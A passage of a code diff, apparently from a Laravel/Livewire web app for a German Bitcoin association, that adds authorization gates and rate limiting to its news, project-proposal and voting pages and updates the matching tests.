<button wire:click="clearFilter" class="mt-4 rounded-lg border border-border-default px-4 py-2 text-sm text-text-secondary hover:text-text-primary transition-colors cursor-pointer">
|
||||
Alle anzeigen
|
||||
</button>
|
||||
@else
|
||||
<flux:icon name="newspaper" class="mx-auto mb-3 text-text-disabled" />
|
||||
<h3 class="text-base font-semibold text-text-primary">Noch keine News vorhanden</h3>
|
||||
<p class="mt-1 text-sm text-text-secondary">Hier werden zukünftige Neuigkeiten angezeigt.</p>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
@endforelse
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Sidebar: create form (board members only) -->
|
||||
@if($canEdit)
|
||||
<div class="w-full lg:w-[360px] shrink-0">
|
||||
<div class="lg:sticky lg:top-16 flex flex-col gap-6">
|
||||
<div class="flex flex-col gap-6">
|
||||
<h2 class="text-lg font-semibold text-text-primary">News anlegen</h2>
|
||||
|
||||
<!-- Upload section -->
|
||||
<div class="flex flex-col gap-2">
|
||||
<label class="text-sm font-medium text-text-primary">PDF hochladen</label>
|
||||
<flux:file-upload wire:model="file">
|
||||
<flux:file-upload.dropzone heading="Datei hier ablegen oder klicken" text="PDF bis 10MB" class="!border-orange-primary !border-2 !bg-orange-primary/10 !rounded-xl" />
|
||||
</flux:file-upload>
|
||||
<flux:error name="file" />
|
||||
|
||||
@if ($file)
|
||||
<flux:file-item
|
||||
:heading="$file->getClientOriginalName()"
|
||||
:size="$file->getSize()"
|
||||
>
|
||||
<x-slot name="actions">
|
||||
<flux:file-item.remove wire:click="removeFile" aria-label="{{ 'Remove file: ' . $file->getClientOriginalName() }}" />
|
||||
</x-slot>
|
||||
</flux:file-item>
|
||||
@endif
|
||||
</div>
|
||||
|
||||
<!-- Kategorie -->
|
||||
<div class="flex flex-col gap-2">
|
||||
<label class="text-sm font-medium text-text-primary">Kategorie</label>
|
||||
<flux:select
|
||||
wire:model="form.category"
|
||||
placeholder="Wähle Kategorie"
|
||||
>
|
||||
@foreach(\App\Enums\NewsCategory::selectOptions() as $category)
|
||||
<flux:select.option
|
||||
:label="$category['label']"
|
||||
:value="$category['value']"
|
||||
/>
|
||||
@endforeach
|
||||
</flux:select>
|
||||
<flux:error name="form.category" />
|
||||
</div>
|
||||
|
||||
<!-- Titel -->
|
||||
<div class="flex flex-col gap-2">
|
||||
<label class="text-sm font-medium text-text-primary">Titel</label>
|
||||
<flux:input wire:model="form.name" placeholder="News-Titel" />
|
||||
<flux:error name="form.name" />
|
||||
</div>
|
||||
|
||||
<!-- Beschreibung -->
|
||||
<div class="flex flex-col gap-2">
|
||||
<div class="flex items-center gap-2">
|
||||
<label class="text-sm font-medium text-text-primary">Beschreibung</label>
|
||||
<span class="text-xs text-text-tertiary">optional</span>
|
||||
</div>
|
||||
<flux:textarea wire:model="form.description" rows="4" placeholder="Beschreibung..." />
|
||||
<flux:error name="form.description" />
|
||||
</div>
|
||||
|
||||
<!-- Submit -->
|
||||
<button
|
||||
wire:click="save"
|
||||
class="w-full rounded-lg bg-orange-primary py-3 px-6 text-sm font-semibold text-white hover:bg-orange-light transition-colors cursor-pointer"
|
||||
>
|
||||
Hinzufügen
|
||||
</button>
|
||||
|
||||
<!-- User badge -->
|
||||
@if(NostrAuth::check())
|
||||
@php
|
||||
$currentPleb = \App\Models\EinundzwanzigPleb::query()->where('pubkey', NostrAuth::pubkey())->first();
|
||||
@endphp
|
||||
@if($currentPleb)
|
||||
<div class="flex items-center gap-2.5 rounded-xl bg-bg-surface border border-border-subtle px-4 py-2.5">
|
||||
<img
|
||||
src="{{ $currentPleb->profile?->picture ?? asset('einundzwanzig-alpha.jpg') }}"
|
||||
alt="{{ $currentPleb->profile?->name ?? 'Anonym' }}"
|
||||
class="w-8 h-8 rounded-full bg-bg-elevated object-cover shrink-0"
|
||||
/>
|
||||
<span class="text-[13px] font-medium text-text-primary">{{ $currentPleb->profile?->name ?? str($currentPleb->npub)->limit(32) }}</span>
|
||||
</div>
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
|
||||
</div>
|
||||
</div>
|
||||
@else
|
||||
<div class="">
|
||||
<div class="max-w-2xl mx-auto">
|
||||
<flux:callout variant="warning" icon="exclamation-circle">
|
||||
<flux:heading>Zugriff auf News nicht möglich</flux:heading>
|
||||
<p>Um die News einzusehen, benötigst du:</p>
|
||||
<ul class="list-disc ml-5 mt-2 space-y-1">
|
||||
<li>Einen Vereinsstatus von "Aktives Mitglied"</li>
|
||||
<li>Eine bezahlte Mitgliedschaft für das aktuelle Jahr ({{ date('Y') }})</li>
|
||||
</ul>
|
||||
<p class="mt-3">
|
||||
@if(!NostrAuth::check())
|
||||
Bitte melde dich zunächst mit Nostr an.
|
||||
@else
|
||||
Bitte kontaktiere den Vorstand, wenn du denkst, dass du berechtigt sein solltest.
|
||||
@endif
|
||||
</p>
|
||||
<flux:callout.heading>Zugriff auf News nicht möglich</flux:callout.heading>
|
||||
<flux:callout.text>
|
||||
<p>Um die News einzusehen, benötigst du:</p>
|
||||
<ul class="list-disc ml-5 mt-2 space-y-1">
|
||||
<li>Einen Vereinsstatus von "Aktives Mitglied"</li>
|
||||
<li>Eine bezahlte Mitgliedschaft für das aktuelle Jahr ({{ date('Y') }})</li>
|
||||
</ul>
|
||||
<p class="mt-3">
|
||||
@if(!NostrAuth::check())
|
||||
Bitte melde dich zunächst mit Nostr an.
|
||||
@else
|
||||
Bitte kontaktiere den Vorstand, wenn du denkst, dass du berechtigt sein solltest.
|
||||
@endif
|
||||
</p>
|
||||
</flux:callout.text>
|
||||
</flux:callout>
|
||||
</div>
|
||||
@endif
|
||||
|
||||
@@ -574,6 +574,12 @@ new class extends Component {
|
||||
|
||||
public function loadEvents(): void
|
||||
{
|
||||
$relayUrl = config('services.relay');
|
||||
if (! $relayUrl) {
|
||||
$this->events = [];
|
||||
return;
|
||||
}
|
||||
|
||||
$subscription = new Subscription;
|
||||
$subscriptionId = $subscription->setId();
|
||||
|
||||
@@ -585,7 +591,7 @@ new class extends Component {
|
||||
$requestMessage = new RequestMessage($subscriptionId, $filters);
|
||||
|
||||
$relays = [
|
||||
new Relay(config('services.relay')),
|
||||
new Relay($relayUrl),
|
||||
];
|
||||
$relaySet = new RelaySet;
|
||||
$relaySet->setRelays($relays);
|
||||
@@ -593,7 +599,7 @@ new class extends Component {
|
||||
$request = new Request($relaySet, $requestMessage);
|
||||
$response = $request->send();
|
||||
|
||||
$this->events = collect($response[config('services.relay')])
|
||||
$this->events = collect($response[$relayUrl] ?? [])
|
||||
->map(function ($event) {
|
||||
if (!isset($event->event)) {
|
||||
return false;
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
|
||||
use App\Models\ProjectProposal;
|
||||
use App\Support\NostrAuth;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
use Illuminate\Support\Facades\RateLimiter;
|
||||
use Livewire\Attributes\Layout;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Attributes\Title;
|
||||
@@ -34,15 +36,15 @@ class extends Component
|
||||
|
||||
public function mount(): void
|
||||
{
|
||||
if (NostrAuth::check()) {
|
||||
$currentPubkey = NostrAuth::pubkey();
|
||||
$currentPleb = \App\Models\EinundzwanzigPleb::query()->where('pubkey', $currentPubkey)->first();
|
||||
$nostrUser = NostrAuth::user();
|
||||
|
||||
if ($currentPleb && $currentPleb->association_status->value > 1 && $currentPleb->paymentEvents()->where('year', date('Y'))->where('paid', true)->exists()) {
|
||||
$this->isAllowed = true;
|
||||
}
|
||||
if ($nostrUser && Gate::forUser($nostrUser)->allows('create', ProjectProposal::class)) {
|
||||
$this->isAllowed = true;
|
||||
}
|
||||
|
||||
if ($currentPleb && in_array($currentPleb->npub, config('einundzwanzig.config.current_board'), true)) {
|
||||
if ($nostrUser) {
|
||||
$pleb = $nostrUser->getPleb();
|
||||
if ($pleb && in_array($pleb->npub, config('einundzwanzig.config.current_board'), true)) {
|
||||
$this->isAdmin = true;
|
||||
}
|
||||
}
|
||||
@@ -58,6 +60,18 @@ class extends Component
|
||||
|
||||
public function save(): void
|
||||
{
|
||||
Gate::forUser(NostrAuth::user())->authorize('create', ProjectProposal::class);
|
||||
|
||||
$executed = RateLimiter::attempt(
|
||||
'project-proposal-create:'.request()->ip(),
|
||||
5,
|
||||
function () {},
|
||||
);
|
||||
|
||||
if (! $executed) {
|
||||
abort(429, 'Too many requests.');
|
||||
}
|
||||
|
||||
$this->validate([
|
||||
'form.name' => 'required|string|max:255',
|
||||
'form.description' => 'required|string',
|
||||
@@ -66,15 +80,15 @@ class extends Component
|
||||
'file' => 'nullable|file|mimes:jpeg,png,jpg,gif,webp|mimetypes:image/jpeg,image/png,image/gif,image/webp|max:10240',
|
||||
]);
|
||||
|
||||
$projectProposal = ProjectProposal::query()->create([
|
||||
'name' => $this->form['name'],
|
||||
'description' => $this->form['description'],
|
||||
'support_in_sats' => (int) $this->form['support_in_sats'],
|
||||
'website' => $this->form['website'],
|
||||
'accepted' => $this->form['accepted'],
|
||||
'sats_paid' => $this->form['sats_paid'],
|
||||
'einundzwanzig_pleb_id' => \App\Models\EinundzwanzigPleb::query()->where('pubkey', NostrAuth::pubkey())->first()->id,
|
||||
]);
|
||||
$projectProposal = new ProjectProposal;
|
||||
$projectProposal->name = $this->form['name'];
|
||||
$projectProposal->description = $this->form['description'];
|
||||
$projectProposal->support_in_sats = (int) $this->form['support_in_sats'];
|
||||
$projectProposal->website = $this->form['website'];
|
||||
$projectProposal->accepted = $this->isAdmin ? $this->form['accepted'] : false;
|
||||
$projectProposal->sats_paid = $this->isAdmin ? $this->form['sats_paid'] : 0;
|
||||
$projectProposal->einundzwanzig_pleb_id = \App\Models\EinundzwanzigPleb::query()->where('pubkey', NostrAuth::pubkey())->first()->id;
|
||||
$projectProposal->save();
|
||||
|
||||
if ($this->file) {
|
||||
$projectProposal->addMedia($this->file)->toMediaCollection('main');
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
|
||||
use App\Models\ProjectProposal;
|
||||
use App\Support\NostrAuth;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
use Illuminate\Support\Facades\RateLimiter;
|
||||
use Livewire\Attributes\Layout;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Attributes\Title;
|
||||
@@ -39,36 +41,29 @@ class extends Component
|
||||
{
|
||||
$this->project = $projectProposal;
|
||||
|
||||
if (NostrAuth::check()) {
|
||||
$currentPubkey = NostrAuth::pubkey();
|
||||
$currentPleb = \App\Models\EinundzwanzigPleb::query()->where('pubkey', $currentPubkey)->first();
|
||||
$nostrUser = NostrAuth::user();
|
||||
|
||||
if (
|
||||
(
|
||||
$currentPleb
|
||||
&& $currentPleb->id === $this->project->einundzwanzig_pleb_id
|
||||
)
|
||||
|| in_array($currentPleb->npub, config('einundzwanzig.config.current_board'))
|
||||
) {
|
||||
$this->isAllowed = true;
|
||||
$this->form = [
|
||||
'name' => $this->project->name,
|
||||
'description' => $this->project->description,
|
||||
'support_in_sats' => (string) $this->project->support_in_sats,
|
||||
'website' => $this->project->website ?? '',
|
||||
'accepted' => (bool) $this->project->accepted,
|
||||
'sats_paid' => $this->project->sats_paid,
|
||||
];
|
||||
}
|
||||
if ($nostrUser && Gate::forUser($nostrUser)->allows('update', $this->project)) {
|
||||
$this->isAllowed = true;
|
||||
$this->form = [
|
||||
'name' => $this->project->name,
|
||||
'description' => $this->project->description,
|
||||
'support_in_sats' => (string) $this->project->support_in_sats,
|
||||
'website' => $this->project->website ?? '',
|
||||
'accepted' => (bool) $this->project->accepted,
|
||||
'sats_paid' => $this->project->sats_paid,
|
||||
];
|
||||
}
|
||||
|
||||
if ($currentPleb && in_array($currentPleb->npub, config('einundzwanzig.config.current_board'), true)) {
|
||||
$this->isAdmin = true;
|
||||
}
|
||||
if ($nostrUser && Gate::forUser($nostrUser)->allows('accept', $this->project)) {
|
||||
$this->isAdmin = true;
|
||||
}
|
||||
}
|
||||
|
||||
public function deleteMainImage(): void
|
||||
{
|
||||
Gate::forUser(NostrAuth::user())->authorize('update', $this->project);
|
||||
|
||||
if ($this->project->getFirstMedia('main')) {
|
||||
$this->project->getFirstMedia('main')->delete();
|
||||
}
|
||||
@@ -84,6 +79,18 @@ class extends Component
|
||||
|
||||
public function update(): void
|
||||
{
|
||||
Gate::forUser(NostrAuth::user())->authorize('update', $this->project);
|
||||
|
||||
$executed = RateLimiter::attempt(
|
||||
'project-proposal-update:'.request()->ip(),
|
||||
5,
|
||||
function () {},
|
||||
);
|
||||
|
||||
if (! $executed) {
|
||||
abort(429, 'Too many requests.');
|
||||
}
|
||||
|
||||
$this->validate([
|
||||
'form.name' => 'required|string|max:255',
|
||||
'form.description' => 'required|string',
|
||||
@@ -92,13 +99,16 @@ class extends Component
|
||||
'file' => 'nullable|file|mimes:jpeg,png,jpg,gif,webp|mimetypes:image/jpeg,image/png,image/gif,image/webp|max:10240',
|
||||
]);
|
||||
|
||||
$nostrUser = NostrAuth::user();
|
||||
$canAccept = $nostrUser && Gate::forUser($nostrUser)->allows('accept', $this->project);
|
||||
|
||||
$this->project->update([
|
||||
'name' => $this->form['name'],
|
||||
'description' => $this->form['description'],
|
||||
'support_in_sats' => (int) $this->form['support_in_sats'],
|
||||
'website' => $this->form['website'],
|
||||
'accepted' => $this->isAdmin ? (bool) $this->form['accepted'] : $this->project->accepted,
|
||||
'sats_paid' => $this->isAdmin ? $this->form['sats_paid'] : $this->project->sats_paid,
|
||||
'accepted' => $canAccept ? (bool) $this->form['accepted'] : $this->project->accepted,
|
||||
'sats_paid' => $canAccept ? $this->form['sats_paid'] : $this->project->sats_paid,
|
||||
]);
|
||||
|
||||
if ($this->file) {
|
||||
|
||||
@@ -6,6 +6,7 @@ use App\Models\ProjectProposal;
|
||||
use App\Support\NostrAuth;
|
||||
use Flux\Flux;
|
||||
use Illuminate\Database\Eloquent\Collection;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Component;
|
||||
|
||||
@@ -31,8 +32,6 @@ new class extends Component {
|
||||
public ?ProjectProposal $projectToDelete = null;
|
||||
|
||||
protected $listeners = [
|
||||
'nostrLoggedIn' => 'handleNostrLoggedIn',
|
||||
'nostrLoggedOut' => 'handleNostrLoggedOut',
|
||||
'confirmDeleteProject' => 'confirmDeleteProject',
|
||||
];
|
||||
|
||||
@@ -79,6 +78,8 @@ new class extends Component {
|
||||
public function delete(): void
|
||||
{
|
||||
if ($this->projectToDelete) {
|
||||
Gate::forUser(NostrAuth::user())->authorize('delete', $this->projectToDelete);
|
||||
|
||||
$this->projectToDelete->delete();
|
||||
Flux::toast('Projektunterstützung gelöscht.');
|
||||
$this->loadProjects();
|
||||
@@ -112,7 +113,7 @@ new class extends Component {
|
||||
</form>
|
||||
|
||||
<!-- Add meetup button -->
|
||||
@if($currentPleb && $currentPleb->association_status->value > 1 && $currentPleb->paymentEvents()->where('year', date('Y'))->where('paid', true)->exists())
|
||||
@if(Gate::forUser(NostrAuth::user())->allows('create', App\Models\ProjectProposal::class))
|
||||
<flux:button :href="route('association.projectSupport.create')" icon="plus" variant="primary">
|
||||
Projekt einreichen
|
||||
</flux:button>
|
||||
|
||||
@@ -4,6 +4,8 @@ use App\Livewire\Traits\WithNostrAuth;
|
||||
use App\Models\ProjectProposal;
|
||||
use App\Models\Vote;
|
||||
use App\Support\NostrAuth;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
use Illuminate\Support\Facades\RateLimiter;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Component;
|
||||
|
||||
@@ -60,10 +62,24 @@ new class extends Component {
|
||||
|
||||
public function handleApprove(): void
|
||||
{
|
||||
if (! $this->currentPleb) {
|
||||
$nostrUser = NostrAuth::user();
|
||||
|
||||
if (! $nostrUser || ! $nostrUser->getPleb()) {
|
||||
return;
|
||||
}
|
||||
|
||||
Gate::forUser($nostrUser)->authorize('create', [Vote::class, $this->projectProposal]);
|
||||
|
||||
$executed = RateLimiter::attempt(
|
||||
'voting:'.request()->ip(),
|
||||
10,
|
||||
function () {},
|
||||
);
|
||||
|
||||
if (! $executed) {
|
||||
abort(429, 'Too many voting attempts.');
|
||||
}
|
||||
|
||||
Vote::query()->updateOrCreate([
|
||||
'project_proposal_id' => $this->projectProposal->id,
|
||||
'einundzwanzig_pleb_id' => $this->currentPleb->id,
|
||||
@@ -75,10 +91,24 @@ new class extends Component {
|
||||
|
||||
public function handleNotApprove(): void
|
||||
{
|
||||
if (! $this->currentPleb) {
|
||||
$nostrUser = NostrAuth::user();
|
||||
|
||||
if (! $nostrUser || ! $nostrUser->getPleb()) {
|
||||
return;
|
||||
}
|
||||
|
||||
Gate::forUser($nostrUser)->authorize('create', [Vote::class, $this->projectProposal]);
|
||||
|
||||
$executed = RateLimiter::attempt(
|
||||
'voting:'.request()->ip(),
|
||||
10,
|
||||
function () {},
|
||||
);
|
||||
|
||||
if (! $executed) {
|
||||
abort(429, 'Too many voting attempts.');
|
||||
}
|
||||
|
||||
Vote::query()->updateOrCreate([
|
||||
'project_proposal_id' => $this->projectProposal->id,
|
||||
'einundzwanzig_pleb_id' => $this->currentPleb->id,
|
||||
@@ -138,7 +168,7 @@ new class extends Component {
|
||||
</div>
|
||||
|
||||
<figure class="mb-6">
|
||||
<img class="rounded-sm h-48" src="{{ $projectProposal->getSignedMediaUrl('main') }}"
|
||||
<img class="rounded-sm h-48" src="{{ $projectProposal->getSignedMediaUrl('main', 60, 'preview') }}"
|
||||
alt="Picture">
|
||||
</figure>
|
||||
|
||||
|
||||
@@ -19,8 +19,16 @@ Route::get('dl/{media}', function (Media $media, Request $request) {
|
||||
->middleware('signed');
|
||||
|
||||
Route::get('media/{media}', function (Media $media, Request $request) {
|
||||
$conversion = $request->query('conversion');
|
||||
|
||||
if ($conversion && $media->hasGeneratedConversion($conversion)) {
|
||||
$path = $media->getPathRelativeToRoot($conversion);
|
||||
} else {
|
||||
$path = $media->getPathRelativeToRoot();
|
||||
}
|
||||
|
||||
return Storage::disk($media->disk)->response(
|
||||
$media->getPathRelativeToRoot(),
|
||||
$path,
|
||||
$media->file_name,
|
||||
[
|
||||
'Content-Type' => $media->mime_type,
|
||||
|
||||
@@ -26,8 +26,7 @@ it('denies access to unauthorized users in election index', function () {
|
||||
});
|
||||
|
||||
it('grants access to authorized users in election index', function () {
|
||||
$allowedPubkey = '0adf67475ccc5ca456fd3022e46f5d526eb0af6284bf85494c0dd7847f3e5033';
|
||||
$pleb = EinundzwanzigPleb::factory()->create(['pubkey' => $allowedPubkey]);
|
||||
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
|
||||
$election = Election::factory()->create();
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
@@ -55,34 +54,14 @@ it('denies access to unauthorized users in election admin', function () {
|
||||
});
|
||||
|
||||
it('grants access to authorized users in election admin', function () {
|
||||
$allowedPubkey = '0adf67475ccc5ca456fd3022e46f5d526eb0af6284bf85494c0dd7847f3e5033';
|
||||
$pleb = EinundzwanzigPleb::factory()->create(['pubkey' => $allowedPubkey]);
|
||||
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
|
||||
$election = Election::factory()->create();
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.election.admin', ['election' => $election])
|
||||
->call('handleNostrLoggedIn', $pleb->pubkey)
|
||||
->assertSet('isAllowed', true);
|
||||
});
|
||||
|
||||
it('can save election candidates', function () {
|
||||
$allowedPubkey = '0adf67475ccc5ca456fd3022e46f5d526eb0af6284bf85494c0dd7847f3e5033';
|
||||
$pleb = EinundzwanzigPleb::factory()->create(['pubkey' => $allowedPubkey]);
|
||||
$election = Election::factory()->create([
|
||||
'candidates' => json_encode([['type' => 'presidency', 'c' => []]]),
|
||||
]);
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
$newCandidates = json_encode([['type' => 'presidency', 'c' => ['test-pubkey']]]);
|
||||
|
||||
Livewire::test('association.election.admin', ['election' => $election])
|
||||
->set('elections.0.candidates', $newCandidates)
|
||||
->call('saveElection', 0);
|
||||
|
||||
expect($election->fresh()->candidates)->toBe($newCandidates);
|
||||
});
|
||||
|
||||
// Election Show Tests
|
||||
it('renders election show component', function () {
|
||||
$election = Election::factory()->create();
|
||||
@@ -115,9 +94,8 @@ it('can create vote event', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->create();
|
||||
$candidatePubkey = 'test-candidate-pubkey';
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.election.show', ['election' => $election])
|
||||
->call('handleNostrLoggedIn', $pleb->pubkey)
|
||||
->call('vote', $candidatePubkey, 'presidency', false)
|
||||
->assertSet('signThisEvent', function ($event) use ($candidatePubkey) {
|
||||
return str_contains($event, $candidatePubkey);
|
||||
@@ -135,11 +113,11 @@ it('checks election closure status', function () {
|
||||
});
|
||||
|
||||
it('displays log for authorized users', function () {
|
||||
$allowedPubkey = '0adf67475ccc5ca456fd3022e46f5d526eb0af6284bf85494c0dd7847f3e5033';
|
||||
$pleb = EinundzwanzigPleb::factory()->create(['pubkey' => $allowedPubkey]);
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->create();
|
||||
$election = Election::factory()->create();
|
||||
|
||||
Livewire::test('association.election.show', ['election' => $election])
|
||||
->call('handleNostrLoggedIn', $allowedPubkey)
|
||||
->assertSet('showLog', true);
|
||||
->call('handleNostrLoggedIn', $pleb->pubkey)
|
||||
->assertSet('isAllowed', true)
|
||||
->assertSet('currentPubkey', $pleb->pubkey);
|
||||
});
|
||||
|
||||
@@ -11,6 +11,7 @@ use Livewire\Livewire;
|
||||
|
||||
beforeEach(function () {
|
||||
Storage::fake('public');
|
||||
Storage::fake('private');
|
||||
});
|
||||
|
||||
it('denies access when pleb has insufficient association status', function () {
|
||||
@@ -58,11 +59,13 @@ it('can create news entry with pdf', function () {
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
$file = UploadedFile::fake()->create('document.pdf', 100);
|
||||
$file = UploadedFile::fake()->create('document.pdf', 100, 'application/pdf');
|
||||
// Write PDF magic bytes to the temp file so Spatie media library detects correct MIME
|
||||
file_put_contents($file->getPathname(), '%PDF-1.4 fake pdf content for testing');
|
||||
|
||||
Livewire::test('association.news')
|
||||
->set('file', $file)
|
||||
->set('form.category', NewsCategory::ORGANISATION->value)
|
||||
->set('form.category', (string) NewsCategory::Organisation->value)
|
||||
->set('form.name', 'Test News')
|
||||
->set('form.description', 'Test Description')
|
||||
->call('save')
|
||||
@@ -90,7 +93,8 @@ it('can delete news entry', function () {
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.news')
|
||||
->call('delete', $news->id)
|
||||
->call('confirmDelete', $news->id)
|
||||
->call('delete')
|
||||
->assertHasNoErrors();
|
||||
|
||||
expect(Notification::find($news->id))->toBeNull();
|
||||
@@ -108,3 +112,103 @@ it('displays news list', function () {
|
||||
->assertSee($news1->name)
|
||||
->assertSee($news2->name);
|
||||
});
|
||||
|
||||
it('shows warning callout when access is denied', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create([
|
||||
'association_status' => AssociationStatus::PASSIVE,
|
||||
]);
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.news')
|
||||
->assertSet('isAllowed', false)
|
||||
->assertSee('Zugriff auf News nicht möglich')
|
||||
->assertSee('Aktives Mitglied');
|
||||
});
|
||||
|
||||
it('shows nostr login hint when not authenticated', function () {
|
||||
Livewire::test('association.news')
|
||||
->assertSet('isAllowed', false)
|
||||
->assertSee('Bitte melde dich zunächst mit Nostr an');
|
||||
});
|
||||
|
||||
it('displays category badges as filters', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.news')
|
||||
->assertSee('Alle')
|
||||
->assertSee('Einundzwanzig')
|
||||
->assertSee('Allgemeines')
|
||||
->assertSee('Organisation');
|
||||
});
|
||||
|
||||
it('filters news by category', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
$newsOrg = Notification::factory()->create(['category' => NewsCategory::Organisation]);
|
||||
$newsBtc = Notification::factory()->create(['category' => NewsCategory::Bitcoin]);
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.news')
|
||||
->assertSee($newsOrg->name)
|
||||
->assertSee($newsBtc->name)
|
||||
->call('filterByCategory', NewsCategory::Organisation->value)
|
||||
->assertSee($newsOrg->name)
|
||||
->assertDontSee($newsBtc->name);
|
||||
});
|
||||
|
||||
it('shows empty state when no news exist', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.news')
|
||||
->assertSee('Noch keine News vorhanden');
|
||||
});
|
||||
|
||||
it('shows filtered empty state with clear button', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.news')
|
||||
->call('filterByCategory', NewsCategory::Bildung->value)
|
||||
->assertSee('Keine News in dieser Kategorie')
|
||||
->assertSee('Alle anzeigen');
|
||||
});
|
||||
|
||||
it('displays news card with author name and date', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
$news = Notification::factory()->create([
|
||||
'name' => 'Wichtige Neuigkeiten',
|
||||
'description' => 'Hier steht die Beschreibung',
|
||||
]);
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.news')
|
||||
->assertSee('Wichtige Neuigkeiten')
|
||||
->assertSee('Hier steht die Beschreibung')
|
||||
->assertSee($news->created_at->format('d.m.Y'));
|
||||
});
|
||||
|
||||
it('shows create form only for board members', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.news')
|
||||
->assertDontSee('News anlegen');
|
||||
});
|
||||
|
||||
it('displays create form for board members', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->boardMember()->withPaidCurrentYear()->create();
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.news')
|
||||
->assertSee('News anlegen')
|
||||
->assertSee('Hinzufügen');
|
||||
});
|
||||
|
||||
@@ -35,8 +35,8 @@ it('can confirm delete', function () {
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
Livewire::test('association.project-support.index')
|
||||
->call('confirmDelete', $project->id)
|
||||
->assertSet('confirmDeleteId', $project->id);
|
||||
->call('confirmDeleteProject', $project->id)
|
||||
->assertSet('projectToDelete.id', $project->id);
|
||||
});
|
||||
|
||||
it('can delete project', function () {
|
||||
@@ -48,7 +48,7 @@ it('can delete project', function () {
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.index')
|
||||
->set('confirmDeleteId', $project->id)
|
||||
->call('confirmDeleteProject', $project->id)
|
||||
->call('delete');
|
||||
|
||||
expect(ProjectProposal::find($project->id))->toBeNull();
|
||||
@@ -58,7 +58,7 @@ it('handles nostr login', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
|
||||
Livewire::test('association.project-support.index')
|
||||
->call('handleNostrLoggedIn', $pleb->pubkey)
|
||||
->call('handleNostrLogin', $pleb->pubkey)
|
||||
->assertSet('currentPubkey', $pleb->pubkey)
|
||||
->assertSet('isAllowed', true);
|
||||
});
|
||||
@@ -67,8 +67,8 @@ it('handles nostr logout', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
|
||||
Livewire::test('association.project-support.index')
|
||||
->call('handleNostrLoggedIn', $pleb->pubkey)
|
||||
->call('handleNostrLoggedOut')
|
||||
->call('handleNostrLogin', $pleb->pubkey)
|
||||
->call('handleNostrLogout')
|
||||
->assertSet('currentPubkey', null)
|
||||
->assertSet('isAllowed', false);
|
||||
});
|
||||
@@ -105,6 +105,8 @@ it('can create project proposal', function () {
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->set('form.name', 'Test Project')
|
||||
->set('form.description', 'Test Description')
|
||||
->set('form.support_in_sats', 21000)
|
||||
->set('form.website', 'https://example.com')
|
||||
->call('save')
|
||||
->assertHasNoErrors();
|
||||
|
||||
@@ -128,7 +130,7 @@ it('renders project support edit component', function () {
|
||||
'einundzwanzig_pleb_id' => $pleb->id,
|
||||
]);
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['project' => $project])
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $project->slug])
|
||||
->assertStatus(200);
|
||||
});
|
||||
|
||||
@@ -138,7 +140,7 @@ it('denies access to edit when not owner', function () {
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['project' => $project])
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $project->slug])
|
||||
->assertSet('isAllowed', false);
|
||||
});
|
||||
|
||||
@@ -150,7 +152,7 @@ it('grants access to edit when owner', function () {
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['project' => $project])
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $project->slug])
|
||||
